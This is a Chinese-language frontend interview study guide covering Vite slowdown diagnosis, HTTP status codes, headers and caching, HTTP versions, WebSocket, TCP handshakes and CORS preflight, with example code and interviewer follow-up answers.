排查 Vite 变慢时,要把冷启动、首屏加载、模块转换、HMR 传播和浏览器执行分开测。 我一般用 vite --debug、vite --profile 配合浏览器的 Network 和 CPU Profile,判断瓶颈在依赖预构建、插件还是业务代码。常见问题是重型 transform、重复扫描与同步磁盘访问,也可能是桶文件、循环依赖或超大模块。不要直接把所有依赖塞进 optimizeDeps.include,应先确认反复预构建的对象,再在相同入口和缓存条件下复测。

实战中可以先清晰记录“冷启动到服务监听”“浏览器首屏可交互”“保存文件到界面更新”三组时间。若服务监听很快但首屏慢,重点查看浏览器是否请求了数千个模块、某个依赖是否存在大量深层导入;若保存后服务端长时间无响应,使用 CPU profile 检查插件转换和文件系统操作;若服务端很快但页面迟迟不更新,则检查 HMR 边界、循环依赖和浏览器执行成本。

不要一上来就把所有依赖加入 optimizeDeps.include。先用日志确认某个依赖确实反复触发预构建,或大量小模块造成请求压力,再做针对性配置。优化插件时缓存配置和转换结果、缩小扫描目录、避免同步 I/O;优化业务模块时减少巨型聚合导出和不必要的全量导入。最终同时测有缓存与无缓存结果,防止只是“这次机器缓存热了”。

排障示例:把“Vite 很慢”拆成可测的三段

# 1. 看依赖发现、转换和 HMR 传播日志
vite --debug
vite --debug hmr

# 2. 生成 CPU profile,定位最慢的插件 transform
vite --profile

# 3. 只为验证缓存问题强制重新预构建一次
vite --force
// vite.config.ts:给可疑插件包一层计时,确认而不是猜测
import type { Plugin } from 'vite'

export const measureTransform = (): Plugin => ({
  name: 'measure-transform',
  enforce: 'post',
  async transform(_, id) {
    const started = performance.now()
    // 这里只观察当前插件管线位置,不改源码
    const elapsed = performance.now() - started
    if (elapsed > 20) console.warn(`[slow transform] ${elapsed.toFixed(1)}ms ${id}`)
    return null
  }
})

终端启动快但页面慢,就转向浏览器 Network 检查模块请求数量;服务端 transform 慢,就从 profile 找插件;服务端推送快但界面更新慢,再查 HMR 边界和浏览器执行。三类问题不能用同一条“删缓存”解决。

💬 面试官追问

  • 终端显示 Vite 几百毫秒就开始监听,但包含大量模块的管理后台首次打开仍要几秒,为什么不能直接说开发服务器很快?

    开始监听只说明服务已就绪,不代表浏览器完成模块请求、转换和执行。应查看 Network 瀑布中的模块数量、服务端转换记录和浏览器主线程;瓶颈可能位于任一阶段,单独引用启动耗时无法证明首屏体验。

  • 升级一个依赖后页面报旧导出错误,执行一次 vite --force 就恢复,你会把它写进每次启动脚本吗?

    不应默认每次强制预构建,因为这条命令适合验证故障是否与旧缓存或预构建结果有关。恢复后还要追查缓存为何未正确失效、依赖为何以不同入口被发现;长期强制重建会掩盖根因并放弃缓存收益。

  • 页面请求很快返回,但服务端日志显示某批模块的 transform 明显更慢,你会怎样确认是哪个插件造成的?

    应对可疑插件管线位置按模块 ID 记录转换耗时,并结合 profile 检查重复读配置、同步磁盘访问或未缓存结果。计时插件本身只观察、不修改源码;若测量位置没有覆盖目标插件,就不能据此断言具体责任方。

  • Network 中出现密集的模块请求瀑布,但单个请求耗时都不高,团队主张继续删 node_modules/.vite,你会把排查方向转到哪里?

    应转向首屏模块数量、依赖发现与请求链,而不是继续清理缓存,因为大量串联请求本身就可能拖慢页面可用时间。再检查是否反复触发预构建;删缓存只会重新制造一次冷启动,不能减少模块图规模。

  • 服务端转换与推送都很快,保存一个基础组件后界面却长时间无响应,下一步还要查预构建吗?

    此时应检查 HMR 边界、受影响模块范围和浏览器执行,而不是继续归因于预构建缓存。若一次更新让过大的依赖树失效,客户端重新执行仍会变慢;服务端计时正常只能排除一部分链路,不能证明更新整体健康。

# 10 HTTP

# HTTP基础总结

⚡ 30 秒速记

  • 1XX:信息状态码

HTTP 基础可以从状态码、请求与响应头、页面加载流程,以及资源化的接口设计四块理解。 状态码里,2XX 表示成功,3XX 处理重定向或缓存,4XX 是客户端问题,5XX 是服务端或网关问题;例如 502 偏向上游无有效响应,504 则是上游处理超时。请求头和响应头描述内容格式、压缩、连接与缓存,浏览器拿到资源后再构建 DOM、CSSOM 和渲染树。DOMContentLoaded 只等文档解析完成,load 还要等待图片等资源,接口则可用 URL 表示资源、用 HTTP 方法区分操作。

HTTP状态码

  • 1XX:信息状态码
    • 100 Continue 继续,一般在发送post请求时,已发送了http header之后服务端将返回此信息,表示确认,之后发送具体参数信息
  • 2XX:成功状态码
    • 200 OK 正常返回信息
    • 201 Created 请求成功并且服务器创建了新的资源
    • 202 Accepted 服务器已接受请求,但尚未处理
  • 3XX:重定向
    • 301 Moved Permanently 请求的网页已永久移动到新位置。
    • 302 Found 临时性重定向。
    • 303 See Other 临时性重定向,且总是使用 GET 请求新的 URI。
    • 304 Not Modified 自从上次请求后,请求的网页未修改过。
  • 4XX:客户端错误
    • 400 Bad Request 服务器无法理解请求的格式,客户端不应当尝试再次使用相同的内容发起请求。
    • 401 Unauthorized 请求未授权。
    • 403 Forbidden 禁止访问。
    • 404 Not Found 找不到如何与 URI 相匹配的资源。
  • 5XX: 服务器错误
    • 500 Internal Server Error 最常见的服务器端错误。
    • 503 Service Unavailable 服务器端暂时无法处理请求(可能是过载或维护)。

常见状态码

  • 200 成功
  • 301 永久重定向(配合location,浏览器自动处理)
  • 302 临时重定向(配合location,浏览器自动处理)
  • 304 资源未被修改
  • 403 没有权限访问,一般做权限角色
  • 404 资源未找到
  • 500 Internal Server Error服务器内部错误
  • 502 Bad Gateway
  • 503 Service Unavailable
  • 504 Gateway Timeout网关超时

502 与 504 的区别

这两种异常状态码都与网关 Gateway 有关,首先明确两个概念

  • Proxy (Gateway),反向代理层或者网关层。在公司级应用中一般使用 Nginx 扮演这个角色
  • Application (Upstream server),应用层服务,作为 Proxy 层的上游服务。在公司中一般为各种语言编写的服务器应用,如 Go/Java/Python/PHP/Node 等
  • 此时关于 502 与 504 的区别就很显而易见
    • 502 Bad Gateway:一般表现为你自己写的「应用层服务(Java/Go/PHP)挂了」,或者网关指定的上游服务直接指错了地址,网关层无法接收到响应
    • 504 Gateway Timeout:一般表现为「应用层服务 (Upstream) 超时,超过了 Gatway 配置的 Timeout」,如查库操作耗时三分钟,超过了 Nginx 配置的超时时间

http headers

  • 常见的Request Headers
    • Accept 浏览器可接收的数据格式
    • Accept-Enconding 浏览器可接收的压缩算法,如gzip
    • Accept-Language 浏览器可接收的语言,如zh-CN
    • Connection:keep-alive 一次TCP连接重复复用
    • Cookie
    • Host 请求的域名是什么
    • User-Agent(简称UA) 浏览器信息
    • Content-type 发送数据的格式,如application/json
  • 常见的Response Headers
    • Content-type 返回数据的格式,如application/json
    • Content-length 返回数据的大小,多少字节
    • Content-Encoding 返回数据的压缩算法,如gzip
    • set-cookie
  • 缓存相关的Headers
    • Cache Control、Expired
    • Last-Modified、If-Modified-Since
    • Etag、If-None-Match

从输入URL到显示出页面的整个过程

  • 下载资源:各个资源类型,下载过程
  • 加载过程
    • DNS解析:域名 => IP地址
    • 浏览器根据IP地址向服务器发起HTTP请求
    • 服务器处理HTTP请求,并返回浏览器
  • 渲染过程
    • 根据HTML生成DOM Tree
    • 根据CSS生成CSSOM
    • DOM Tree和CSSOM整合形成Render Tree,根据Render Tree渲染页面
    • 遇到<script>暂停渲染,优先加载并执行JS代码,执行完在解析渲染(JS线程和渲染线程共用一个线程,JS执行要暂停DOM渲染)
    • 直至把Render Tree渲染完成

window.onload和DOMContentLoaded

  • window.onload 页面的全部资源加载完才会执行,包括图片、视频等
  • DOMContentLoaded 渲染完即可,图片可能尚未下载
window.addEventListener('load',function() {
  // 页面的全部资源加载完才会执行,包括图片、视频等
})
window.addEventListener('DOMContentLoaded',function() {
  // DOM渲染完才执行,此时图片、视频等可能还没有加载完
})

演示

<p>一段文字 1</p>
<p>一段文字 2</p>
<p>一段文字 3</p>
<img
    id="img1"
    src="https://timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1570191150419&di=37b1892665fc74806306ce7f9c3f1971&imgtype=0&src=http%3A%2F%2Fimg.pconline.com.cn%2Fimages%2Fupload%2Fupc%2Ftx%2Fitbbs%2F1411%2F13%2Fc14%2F26229_1415883419758.jpg"
/>

<script>
  const img1 = document.getElementById('img1')
  img1.onload = function () {
    console.log('img loaded')
  }

  window.addEventListener('load', function () {
    console.log('window loaded')
  })

  document.addEventListener('DOMContentLoaded', function () {
    console.log('dom content loaded')
  })

  // 结果
  // dom content loaded
  // img loaded
  // window loaded
</script>

拓展:关于Restful API

  • 一种新的API设计方法
  • 传统API设计:把每个url当做一个功能
  • Restful API设计:把每个url当前一个唯一的资源
    • 如何设计成一个资源
      • 尽量不用url参数
        • 传统API设计:/api/list?pageIndex=2
        • Restful API设计:/api/list/2
      • 用method表示操作类型
        • 传统API设计:
          • post新增请求:/api/create-blog
          • post更新请求:/api/update-blog?id=100
          • post删除请求:/api/delete-blog?id=100
          • get请求:/api/get-blog?id=100
        • Restful API设计:
          • post新增请求:/api/blog
          • patch更新请求:/api/blog/100
          • delete删除请求:/api/blog/100
          • get请求:/api/blog/100

💬 面试官追问

  • 上传接口先发请求头,服务端返回 100 Continue,新人把它当成最终成功并立即展示“上传完成”,你会怎样纠正?

    100 Continue 只是确认客户端可以继续发送请求体,不代表资源已经处理成功。界面应等待最终的 2XX、4XX 或 5XX 响应再更新状态;若提前报成功,后续上传失败会造成用户认知与服务端状态不一致。

  • 创建订单接口返回 202 Accepted,产品要求前端立刻跳到“订单已创建”页,这个交互有什么风险?

    202 只表示服务器已接受请求但尚未完成处理,不能等同于 201 Created。页面应展示处理中,并通过受控查询确认最终结果;如果直接宣告创建成功,异步处理失败时就需要额外补偿和状态纠正。

  • CDN 返回 304 Not Modified,同事认为响应没有正文就是请求失败,你会怎样解释浏览器为什么仍能显示资源?

    304 表示资源自上次请求后未修改,浏览器会继续使用本地缓存内容,因此没有重新下载完整正文。排查时应检查 ETag、If-None-Match 或修改时间相关头;若本地缓存已损坏,协商缓存成功也可能继续暴露旧问题。

  • 线上接口经 Nginx 转发后部分请求返回 502,另一些返回 504,值班同学准备统一调大超时,你会先怎样区分?

    502 通常指向网关无法从上游取得有效响应,例如应用服务不可用或上游地址错误;504 更像上游处理超过网关超时。应分别检查上游存活与路由、应用耗时和网关日志;调大超时只可能缓解部分 504,无法修复错误地址或服务挂掉。

  • 商品详情页文字已出现,但大图仍在下载,此时 DOMContentLoaded 和 window.load 哪个更可能先触发,埋点该选哪个?

    DOMContentLoaded 会在 DOM 解析完成后触发,此时图片或视频可能尚未加载;window.load 要等待页面全部资源完成。若埋点衡量结构可交互可选前者,若依赖图片尺寸或完整资源则等后者,但两者都不等同于用户实际可用体验。

  • 博客接口把更新设计成 POST /api/update-blog?id=100,另一组坚持用 PATCH /api/blog/100,你如何评价这场选型冲突?

    按资源式设计,/api/blog/100 表示目标资源,PATCH 表达更新操作,路径比功能式命名更统一。传统写法并非无法工作,但会把动作散落在 URL 中;迁移还要考虑既有客户端兼容,不能只改路由而忽略调用方。

# HTTP缓存

⚡ 30 秒速记

  • 为什么需要缓存?

HTTP 缓存通过强缓存和协商缓存减少网络请求,从而加快页面渲染。 强缓存主要看 Cache-Control 的 max-age,命中后直接读取本地资源;未命中时,再用 Etag 或 Last-Modified 与服务端协商。资源未变化会返回 304,否则返回 200 和最新内容。实际项目里,我一般给带 contenthash 的 js、css、图片设置长期缓存,而强制刷新会让两类缓存都失效。

  • 关于缓存介绍
    • 为什么需要缓存?减少网络请求(网络请求不稳定性),让页面渲染更快
    • 哪些资源可以被缓存?静态资源(js css img)webpack打包加contenthash根据内容生成hash
  • http缓存策略(强制缓存 + 协商缓存)
    • 强制缓存
      • 服务端在Response Headers中返回给客户端
      • Cache-Control:max-age=31536000(单位:秒)一年
      • Cache-Control的值
        • max-age(常用)缓存的内容将在max-age秒后失效
        • no-cache(常用)不要本地强制缓存,正常向服务端请求(只要服务端最新的内容)。需要使用协商缓存来验证缓存数据(Etag Last-Modified)
        • no-store 不要本地强制缓存,也不要服务端做缓存,所有内容都不会缓存,强制缓存和协商缓存都不会触发
        • public 所有内容都将被缓存(客户端和代理服务器都可缓存)
        • private 所有内容只有客户端可以缓存
      • Expires
        • Expires:Thu, 31 Dec 2037 23:55:55 GMT(过期时间)
        • 已被Cache-Control代替
      • Expires和Cache-Control的区别
        • Expires是HTTP1.0的产物,Cache-Control是HTTP1.1的产物
        • Expires是服务器返回的具体过期时间,Cache-Control是相对时间
        • Expires存在兼容性问题,Cache-Control优先级更高
      • 强制缓存的优先级高于协商缓存
      • 强制缓存的流程
        • 浏览器第一次请求资源,服务器返回资源和Cache-Control Expires
        • 浏览器第二次请求资源,会带上Cache-Control Expires,服务器根据这两个值判断是否命中强制缓存
        • 命中强制缓存,直接从缓存中读取资源,返回给浏览器
        • 未命中强制缓存,会带上If-Modified-Since If-None-Match,服务器根据这两个值判断是否命中协商缓存
        • 命中协商缓存,返回304,浏览器直接从缓存中读取资源
        • 未命中协商缓存,返回200,浏览器重新请求资源
      • 强制缓存的流程图
    • 协商缓存
      • 服务端缓存策略
      • 服务端判断客户端资源,是否和服务端资源一样
      • 如果判断一致则返回304(不在返回js、图片内容等资源),否则返回200和最新资源
      • 服务端怎么判断客户端资源一样? 根据资源标识
        • 在Response Headers中,有两种
        • Last-Modified和Etag会优先使用Etag,Last-Modified只能精确到秒级,如果资源被重复生成而内容不变,则Etag更准确
        • Last-Modified 服务端返回的资源的最后修改时间
          • If-Modified-Since 客户端请求时,携带的资源的最后修改时间(即Last-Modified的值)
        • Etag服务端返回的资源的唯一标识(一个字符串,类似指纹)
          • If-None-Matche 客户端请求时,携带的资源的唯一标识(即Etag的值)
        • Headers示例
        • 请求示例 通过Etag或Last-Modified命中缓存,没有返回资源,返回304,体积非常小
    • HTTP缓存总结
  • 刷新操作方式,对缓存的影响
    • 正常操作:地址栏输入url,跳转链接,前进后退
    • 手动操作:F5,点击刷新,右键菜单刷新
    • 强制刷新:ctrl + F5 或 command + r
  • 不同刷新操作,不同缓存策略
    • 正常操作:强缓存有效,协商缓存有效
    • 手动操作:强缓存失效,协商缓存有效
    • 强制刷新:强缓存失效,协商缓存失效
  • 小结
    • 强缓存Cache-Contorl、Expired(弃用)
    • 协商缓存Last-Modified/If-Modified-Since和Etag/If-None-Matche,304状态码
    • 完整流程图

💬 面试官追问

  • 商品详情页的 app.js 设置了 Cache-Control: max-age=31536000,发布后部分用户仍执行旧代码;为什么单纯把缓存时间改短不是最佳修复?

    长期强缓存本身没有错,问题在于资源地址没有随内容变化。应让构建产物使用 contenthash,新版本引用新 URL,旧文件继续安全缓存;若入口 HTML 也被长期缓存,仍可能引用旧资源,需要单独设计其缓存策略。

  • 新闻页的接口响应带有 Cache-Control: no-cache,同事却认为浏览器绝不会保存响应;你会怎样纠正并验证?

    no-cache 不是禁止存储,而是再次使用前必须向服务端验证,可通过 ETag 或 Last-Modified 命中后返回 304。在开发者工具中观察后续请求的 If-None-Match、If-Modified-Since 和状态码;真正禁止存储应使用 no-store。

  • 图片站有数万张静态图,运营偶尔原地址替换图片;你会怎样在强缓存、协商缓存和发布成本之间设计?

    若能改资源 URL,应采用内容指纹并配置较长 max-age,内容变化时生成新地址,避免每次都向服务端验证。若必须原地址覆盖,只能缩短强缓存或使用 no-cache 配合 ETag;代价是请求或校验次数增加,发布一致性也更难保证。

  • 用户反馈页面首次打开正常,点击刷新才出现新样式,而强制刷新后又恢复;你会怎样区分强缓存和协商缓存造成的差异?

    先在开发者工具中对比正常导航、普通刷新和强制刷新的请求状态、响应头及资源来源。正常导航可能命中强缓存,普通刷新通常会进入协商验证,强制刷新则绕过两类缓存;若只有某种操作异常,还要核对 HTML 是否仍引用旧哈希文件。

  • 带用户资料的接口准备接入代理缓存,平台方要求使用 public 提升命中率,安全负责人坚持 private;你会如何取舍?

    用户专属响应不应仅为命中率设置 public,因为它允许客户端和代理服务器缓存,存在数据被共享的风险。可缓存的公共静态内容才适合 public,个人数据至少使用 private,敏感且不应留存的响应使用 no-store;安全边界优先于代理缓存收益。

  • 同一静态文件同时返回 Last-Modified 和 ETag,重新构建后修改时间变化但内容未变;服务端应依据哪个条件处理 304?

    这种场景应优先依据 ETag 判断内容是否变化,因为 Last-Modified 只能精确到秒,并可能因重复生成而变化。客户端会分别通过 If-None-Match 和 If-Modified-Since 携带标识;若指纹生成或比较逻辑不稳定,也会失去协商缓存价值。

# HTTP协议1.0和1.1和2.0有什么区别

⚡ 30 秒速记

  • 最基础的HTTP协议

HTTP/1.0、HTTP/1.1 和 HTTP/2.0 的核心区别,是连接复用和传输效率逐步提升。 HTTP/1.0 提供基础的 GET、POST;HTTP/1.1 增加长连接、缓存策略、断点续传及 PUT、DELETE 等方法。HTTP/2.0 又加入头部压缩和多路复用,让一个 TCP 连接可以并行处理多个 HTTP 请求。服务端推送虽由 HTTP/2.0 支持,但实际双向通信场景通常会使用 WebSocket。

  • HTTP1.0
    • 最基础的HTTP协议
    • 支持基本的GET、POST方法
  • HTTP1.1
    • 缓存策略 cache-control E-tag
    • 支持长链接 Connection:keep-alive 一次TCP连接多次请求
    • 断点续传,状态码206
    • 支持新的方法 PUT DELETE等,可用于Restful API写法
  • HTTP2.0
    • 可压缩header,减少体积
    • 多路复用,一次TCP连接中可以多个HTTP并行请求
    • 服务端推送(实际中使用websocket)

连环问:HTTP协议和UDP协议有什么区别

  • HTTP是应用层,TCP、UDP是传输层
  • TCP有连接(三次握手),有断开(四次挥手),传输稳定
  • UDP无连接,无断开不稳定传输,但效率高。如视频会议、语音通话

💬 面试官追问

  • 一个页面同时加载 40 个小图标,同事说把 HTTP/1.1 的 keep-alive 打开就等同于 HTTP/2 多路复用;你会怎样指出反例?

    keep-alive 只是让同一条 TCP 连接承载多次请求,不等于多个请求可在连接内并行交错传输。HTTP/2 的多路复用才允许一条连接并行处理多个 HTTP 请求;即使如此,底层连接或服务端处理仍可能成为共同瓶颈。

  • 老旧下载服务经常传到一半断线,产品要求用户恢复后不要重下整个大文件;在协议能力上你会怎样落地?

    应利用 HTTP/1.1 的断点续传能力,让客户端请求缺失区间,服务端以 206 返回对应内容。还需保证资源在续传期间没有被替换,否则已下载片段可能与新内容不一致;服务端不支持范围响应时只能退回完整下载。

  • 前端准备将大量重复自定义请求头加入每个接口,网关团队认为升级 HTTP/2 后头部成本可以忽略;你会接受吗?

    不能把头部成本视为消失,HTTP/2 只是支持压缩 header,减少重复字段的传输体积。仍应删除无意义请求头,并检查网关和客户端是否实际使用目标协议;若链路中回落到旧协议,预期收益不会完整出现。

  • 监控显示页面的多条接口都卡住,瀑布图中它们共用一条 HTTP/2 连接;你会如何判断是协议并发失效还是服务端处理慢?

    先确认请求是否已在同一连接并行发出,再比较各请求的等待时间和服务端日志。多路复用解决的是一条连接内多个 HTTP 请求并行,不保证业务处理立即完成;若服务端同时收到却迟迟不返回,应继续排查后端而非盲目增加连接。

  • 实时协作页面需要服务端随时推送编辑事件,架构师主张依赖 HTTP/2 服务端推送,前端主张使用 WebSocket;你会怎么选?

    该需求是持续的双向通信,更适合 WebSocket,客户端和服务端都能主动发送消息。HTTP/2 的服务端推送不等同于通用实时消息通道,实践中这类场景通常另选 WebSocket;代价是需要维护长连接、重连和消息状态。

  • 候选人说 HTTP 比 UDP 稳定,因为两者都属于传输层;在视频会议页面的选型讨论里你会怎样纠正?

    HTTP 属于应用层,不能与传输层的 TCP、UDP 按同一层级直接比较。TCP 有连接并提供稳定传输,UDP 无连接、开销较低但不保证稳定,语音和视频常看重时效性;具体采用何种承载仍要服从丢包容忍度。

# WebSocket和HTTP协议有什么区别

⚡ 30 秒速记

  • 可由client发起,也可由sever发起

WebSocket 与 HTTP 的主要区别是它支持持久的双向通信,客户端和服务端都能主动发送消息。 建立连接时会先发起一次 HTTP 请求,成功后再升级为 ws:// 协议,并通过 send 和 onmessage 通信。相比之下,HTTP 长轮询仍由客户端反复请求,服务端只是暂时阻塞响应,还需要处理超时和重连。聊天室、消息通知、直播讨论区和协同编辑更适合 WebSocket,加密连接则使用 wss://。

  • 支持端对端通信
  • 可由client发起,也可由sever发起
  • 用于消息通知、直播间讨论区、聊天室、协同编辑

WebSocket连接过程

  • 先发起一个HTTP请求
  • 成功之后在升级到WebSocket协议,再通讯

WebSocket和HTTP区别

  • WebSocket协议名是ws://,可双端发起请求(双端都可以send、onmessage)
  • WebSocket没有跨域限制
  • 通过send和onmessage通讯(HTTP通过req、res)

WebSocket和HTTP长轮询的区别

长轮询:一般是由客户端向服务端发出一个设置较长网络超时时间的 HTTP 请求,并在Http连接超时前,不主动断开连接;待客户端超时或有数据返回后,再次建立一个同样的HTTP请求,重复以上过程

  • HTTP长轮询:客户端发起请求,服务端阻塞,不会立即返回
    • HTTP长轮询需要处理timeout,即timeout之后重新发起请求
  • WebSocket:客户端可发起请求,服务端也可发起请求

ws可升级为wss(像https)

import {createServer} from 'https'
import {readFileSync} from 'fs'
import {WebSocketServer} from 'ws'

const server = createServer({
  cert: readFileSync('/path/to/cert.pem'),
  key: readFileSync('/path/to/key.pem'),
})
const wss = new WebSocketServer({ server })

实际项目中推荐使用socket.io API更简洁

io.on('connection',sockert=>{
  // 发送信息
  socket.emit('request', /**/)
  // 广播事件到客户端
  io.emit('broadcast', /**/)
  // 监听事件
  socket.on('reply', ()=>{/**/})
})

WebSocket基本使用例子

// server.js
const { WebSocketServer } = require('ws') // npm i ws 
const wsServer = new WebSocketServer({ port: 3000 })

wsServer.on('connection', ws => {
  console.info('connected')

  ws.on('message', msg => {
    console.info('收到了信息', msg.toString())

    // 服务端向客户端发送信息
    setTimeout(() => {
      ws.send('服务端已经收到了信息: ' + msg.toString())
    }, 2000)
  })
})
<!-- websocket main page -->
<button id="btn-send">发送消息</button>

<script>
    const ws = new WebSocket('ws://127.0.0.1:3000')
    ws.onopen = () => {
      console.info('opened')
      ws.send('client opened')
    }
    ws.onmessage = event => {
      console.info('收到了信息', event.data)
    }

    document.getElementById('btn-send').addEventListener('click', () => {
      console.info('clicked')
      ws.send('当前时间' + Date.now())
    })
</script>

💬 面试官追问

  • 客服聊天页每 2 秒发送一次 HTTP GET 拉取消息,同事称这已经与 WebSocket 完全等价;当会话持续半小时,你会怎样反驳?

    定时拉取始终由客户端发起,即使没有新消息也会产生请求,不能等同于服务端可主动发送的双向通道。聊天更适合升级为 WebSocket,双方通过 send 和 onmessage 通信;但还要补齐断线重连和状态恢复。

  • 协同编辑页面需要浏览器和服务端持续交换光标事件,你会怎样建立连接并组织最小通信链路?

    客户端先发起 HTTP 请求完成协议升级,成功后再通过 WebSocket 长连接通信。浏览器监听 onopen、onmessage 并使用 send 发消息,服务端监听连接和消息事件;升级失败时不能假定通道已经建立,应提供错误或重连处理。

  • 站点从 https:// 上线后,测试环境仍连接 ws://,浏览器中的实时通知突然不可用;你会怎样调整?

    安全页面应将连接升级为 wss://,并由服务端配置证书和私钥承载安全的 WebSocket。只替换 URL 不足以解决证书、代理或升级配置错误;应同时检查握手是否成功以及中间层是否允许协议升级。

  • 直播讨论区使用 WebSocket 后偶发收不到消息,刷新页面便恢复;你会从握手和消息阶段怎样定位?

    先区分初始 HTTP 升级是否失败,还是升级成功后连接中断,并检查浏览器事件、服务端连接与消息日志。若握手成功但后续断开,应记录关闭和异常并验证重连;刷新只能重建连接,无法证明消息投递可靠。

  • 通知系统规模不大,后端希望使用 HTTP 长轮询避免维护新协议,前端希望直接上 WebSocket;你会按什么边界取舍?

    低频通知且允许客户端在超时后重发请求时,长轮询可以满足需求,但服务端会保持请求并需要处理 timeout。聊天室或协同编辑需要频繁双向发送时更适合 WebSocket;代价是连接生命周期和断线恢复更复杂。

  • 跨域聊天室连上了 WebSocket,同事据此删掉所有鉴权逻辑,理由是它不像 Ajax 那样受同源限制;你会怎样处理?

    没有浏览器 Ajax 式跨域限制不代表连接可信,服务端仍应在建立连接时识别并验证客户端身份。连接成功后还要限制可发送的事件和数据范围;若把“可跨域连接”误当成“无需鉴权”,任何来源都可能尝试接入消息通道。

# 请描述TCP三次握手和四次挥手

⚡ 30 秒速记

  • 先建立连接,确保双方都有收发消息的能力

TCP 三次握手用于建立可靠连接,四次挥手用于让通信双方有序关闭连接。 握手时客户端发起连接,服务端确认并回应,客户端再确认一次,从而验证双方都具备收发能力且已准备好。挥手需要四次,是因为一方请求结束后,另一方可能仍有数据没有传完,要分别确认请求结束和传输完成。简单来说,先通过 TCP 建立连接,再传输 HTTP 请求等内容,通信结束后再按双方状态关闭。

建立TCP连接

  • 先建立连接,确保双方都有收发消息的能力
  • 再传输内容(如发送一个get请求)
  • 网络连接是TCP协议,传输内容是HTTP协议

三次握手-建立连接

  • Client发包,Server接收。Server就知道有Client要找我了
  • Server发包,Client接收。Client就知道Server已经收到消息
  • Client发包,Server接收。Server就知道Client要准备发送了
  • 前两步确定双发都能收发消息,第三步确定双方都准备好了

四次挥手-关闭连接

  • Client发包,Server接收。Server就知道Client已请求结束
  • Server发包,Client接收。Client就知道Server已收到消息,我等待server传输完成了在关闭
  • Server发包,Client接收。Client就知道Server已经传输完成了,可以关闭连接了
  • Client发包,Server接收。Server就知道Client已经关闭了,Server可以关闭连接了

💬 面试官追问

  • 支付页的接口尚未发送业务数据,网络面板却先出现建连耗时;同事认为 GET 请求本身就是第一次握手,你会怎样纠正?

    三次握手先建立 TCP 连接,确认双方具备收发能力,之后才传输 HTTP GET 等应用层内容。业务请求慢时应将建连与服务端响应分开观察;把二者混为一谈会误判优化位置。

  • 浏览器访问新域名时要建立连接,你会怎样用双方“已知状态”解释为什么不是两次握手?

    客户端发包后只能证明服务端能接收,服务端回包让客户端知道服务端已收到且能够发送。客户端还需第三次确认,让服务端知道客户端也收到了回包并已准备好;缺少最后确认时,服务端无法确认双向通信状态已经闭合。

  • 文件上传完成后客户端立刻请求关闭连接,但服务端还有响应数据未发完;四次挥手在这里怎样避免双方同时粗暴断开?

    客户端先表达自己请求结束,服务端确认收到,但仍可继续完成剩余传输。服务端传输完成后再通知客户端,客户端最后确认,双方才各自关闭;若应用提前销毁连接,尚未发送完的数据仍可能丢失。

  • 线上偶发请求失败,日志只有业务接口记录,没有连接建立和关闭信息;你会怎样判断故障发生在握手、传输还是挥手阶段?

    应把连接建立、HTTP 内容传输和连接关闭分段采集时间与状态,并与客户端网络记录对应。三次握手未完成时业务请求不会正常开始,传输阶段才会出现接口处理记录;仅凭刷新恢复无法判定是连接还是业务故障。

  • 高频接口准备为每次请求都新建并关闭 TCP 连接,开发认为这样状态最干净;你会如何评价这种取舍?

    每次新建连接都要经历三次握手,关闭还涉及四次挥手,频繁操作会增加额外往返与连接管理成本。可在允许时复用连接承载多次请求;若服务端需要及时释放资源,则仍要设置合理的连接生命周期。

  • 视频会议团队说既然 UDP 不需要三次握手,就一定比基于 TCP 的传输更好;你会怎样回应?

    免去连接建立不代表整体方案必然更好,UDP 无连接且传输不稳定,只是在实时语音、视频等场景可能更看重效率。TCP 通过连接过程确认双方收发能力并提供稳定传输;选择取决于业务能否容忍丢失和时延。

# HTTP跨域请求时为什么要发送options请求

⚡ 30 秒速记

  • 同源策略一般限制Ajax网络请求,不能跨域请求server

跨域请求发送 OPTIONS,是浏览器在正式请求前进行 CORS 预检查。 浏览器会先确认服务端是否允许当前来源、请求方法和请求头,得到许可后才继续发送实际请求。这个请求由浏览器自动发起,业务代码通常不需要主动处理。服务端正确配置 Access-Control-Allow-Origin、Access-Control-Allow-Methods 等响应头即可,它不会改变实际业务功能。

跨域请求

  • 浏览器同源策略
  • 同源策略一般限制Ajax网络请求,不能跨域请求server
  • 不会限制<link> <img> <script> <iframe> 加载第三方资源

JSONP实现跨域

<!-- aa.com网页 -->
<script>
  window.onSuccess = function(data) {
    console.log(data)
  }
</script>
<script src="https://bb.com/api/getData"></script>
// server端https://bb.com/api/getData
onSuccess({ "name":"test", "age":12, "city":"shenzhen" });

cors

response.setHeader('Access-Control-Allow-Origin', 'https://aa.com') // 或者*
response.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS') // 允许的请求方法
response.setHeader('Access-Control-Allow-Headers', 'X-Requested-With') // 允许的请求头
response.setHeader('Access-Control-Allow-Credentials', 'true')// 允许跨域携带cookie

多余的options请求

  • options是跨域请求之前的预检查
  • 浏览器自行发起的,无需我们干预
  • 不会影响实际的功能

💬 面试官追问

  • 运营页通过 <img> 展示第三方海报没有报错,但用 Ajax 读取同域名接口却被浏览器拦截;同事因此断言同源策略失效,你会怎样解释?

    同源策略主要限制脚本发起并读取跨域 Ajax 请求,不会以相同方式禁止 <img>、<script>、<link> 或 <iframe> 加载第三方资源。图片能显示不能证明接口可读,接口仍需服务端正确配置 CORS。

  • 后台管理页从 https://aa.com 调用 https://bb.com 的写接口,浏览器先发出 OPTIONS;服务端最少要怎样配合?

    OPTIONS 是浏览器在实际跨域请求前自动发起的预检,服务端应返回允许的来源、方法和请求头。可配置 Access-Control-Allow-Origin、Access-Control-Allow-Methods 与 Access-Control-Allow-Headers;预检未通过时,实际请求不会按预期执行。

  • 跨域接口新增 X-Requested-With 后开始出现预检,网关团队要求前端手动删除所有 OPTIONS 请求;你会怎样处理?

    不应由业务代码手动取消浏览器预检,而应让网关在 OPTIONS 响应中声明允许 X-Requested-With。若该请求头没有业务价值也可移除,从而减少触发条件;但绕过预检不能替代服务端的跨域授权。

  • 登录接口跨域调用时响应正常,但浏览器始终不携带 cookie;服务端已经设置 Access-Control-Allow-Origin: *,你会排查什么?

    先确认响应是否明确允许凭据,即配置 Access-Control-Allow-Credentials: true,并检查前端是否启用了相应凭据选项。携带用户凭据时不能仅依赖宽泛的来源授权,应返回受信任的具体来源;否则即使接口可访问,身份状态仍可能不可用或不安全。

  • 网关升级后所有跨域写请求都失败,业务服务完全没有收到实际请求,浏览器只显示一个失败的 OPTIONS;你会怎样定位?

